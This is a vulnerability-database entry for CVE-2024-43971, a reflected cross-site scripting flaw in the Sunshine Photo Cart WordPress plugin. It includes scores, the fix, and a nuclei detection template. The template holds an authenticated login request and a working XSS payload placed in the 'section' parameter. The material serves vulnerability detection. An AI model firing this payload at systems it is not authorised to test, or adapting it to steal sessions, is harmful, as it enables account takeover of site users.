Browse / CVEs / CVE-2024-43971
CVE-2024-43971· wpsunshine / sunshine-photo-cart· CWE-79
Sunshine Photo Cart <= 3.2.5 - Reflected Cross-Site Scripting
mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
50%of all CVEs are less likely
Readycheck to confirm it
WP Sunshine Sunshine Photo Cart versions up to 3.2.5 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft malicious input.
Impact
Attackers can execute malicious scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
Fix
Update to Sunshine Photo Cart version 3.2.6 or later.
How to confirm it
Send: POST /wp-login.php
Positive when: status_code == 302 and contains(tolower(all_headers), "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=sunshine§ion=%22%20onmouseover=alert(document.domain)%3Bthis.remove()%3B%20style=position:fixed%3Bleft:0%3Btop:0%3Bwidth:100vw…
Positive when: status_code == 200 and contains_all(body, "alert(document.domain);this.remove(); style=position:fixed;left:0;top:0;width:100vw;height:100vh;", "Sunshine Photo Cart")Run it with nuclei: nuclei -id CVE-2024-43971 -u <target>
The full check
id: CVE-2024-43971
info:
name: Sunshine Photo Cart <= 3.2.5 - Reflected Cross-Site Scripting
author: 0xanis
severity: medium
description: |
WP Sunshine Sunshine Photo Cart versions up to 3.2.5 contain a reflected cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in users' browsers, exploit requires attacker to craft malicious input.
impact: |
Attackers can execute malicious scripts in users' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
remediation: |
Update to Sunshine Photo Cart version 3.2.6 or later.
reference:
- https://wpscan.com/vulnerability/fa4cd831-40f2-4fa2-9439-b4d7fb94ec1e/
- https://patchstack.com/database/vulnerability/sunshine-photo-cart/wordpress-sunshine-photo-cart-free-client-photo-galleries-for-photographers-plugin-3-2-5-cross-site-scripting-xss-vulnerability?_s_id=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2024-43971
epss-score: 0.00624
epss-percentile: 0.50253
cwe-id: CWE-79
metadata:
verified: true
max-request: 2
vendor: wpsunshine
product: sunshine-photo-cart
framework: wordpress
tags: cve,cve2024,wordpress,wp-scan,wp-plugin,xss,sunshine-photo-cart,authenticated,vkev,vuln
flow: http(1) && http(2)
http:
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP+Cookie+check
log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1
matchers:
- type: dsl
dsl:
- 'status_code == 302'
- 'contains(tolower(all_headers), "wordpress_logged_in")'
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=sunshine§ion=%22%20onmouseover=alert(document.domain)%3Bthis.remove()%3B%20style=position:fixed%3Bleft:0%3Btop:0%3Bwidth:100vw%3Bheight:100vh%3B HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(body, "alert(document.domain);this.remove(); style=position:fixed;left:0;top:0;width:100vw;height:100vh;", "Sunshine Photo Cart")'
condition: andReferences
- https://wpscan.com/vulnerability/fa4cd831-40f2-4fa2-9439-b4d7fb94ec1e/
- https://patchstack.com/database/vulnerability/sunshine-photo-cart/wordpress-sunshine-photo-cart-free-client-photo-galleries-for-photographers-plugin-3-2-5-cross-site-scripting-xss-vulnerability?_s_id=cve
Use this check only on systems you are authorised to test. Where the data comes from